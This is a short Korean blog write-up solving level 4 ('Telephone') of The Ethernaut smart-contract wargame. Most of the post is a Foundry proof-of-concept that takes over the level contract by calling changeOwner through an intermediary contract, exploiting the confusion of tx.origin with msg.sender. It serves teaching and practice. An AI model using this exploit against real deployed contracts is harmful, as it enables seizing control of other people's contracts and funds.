The Ethernaut - 4. Telephone

Gunter·2024년 10월 20일
0

The Ethernaut

목록 보기
5/26

Claim ownership of the contract below to complete this level.

Things that might help

See the "?" page above, section "Beyond the console"

 


// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "../src/Telephone.sol";
import "forge-std/Script.sol";
import "forge-std/console.sol";

contract IntermidiaryContract {
    constructor(Telephone _telephone, address _newOwner) {
        _telephone.changeOwner(_newOwner);
    }
}

contract POC is Script {

    Telephone public telephoneInstance = Telephone(0x1300Ab777D272b490130b795F827FD4B4DB3943e);

    function run() external {
        vm.startBroadcast(vm.envUint("user_private_key"));
        new IntermidiaryContract(
            telephoneInstance, vm.envAddress("user_address")
        );
        vm.stopBroadcast();
    }
}

 

알아야 할 점 : tx.origin과 msg.sender 잘 구분해서 사용하기

0개의 댓글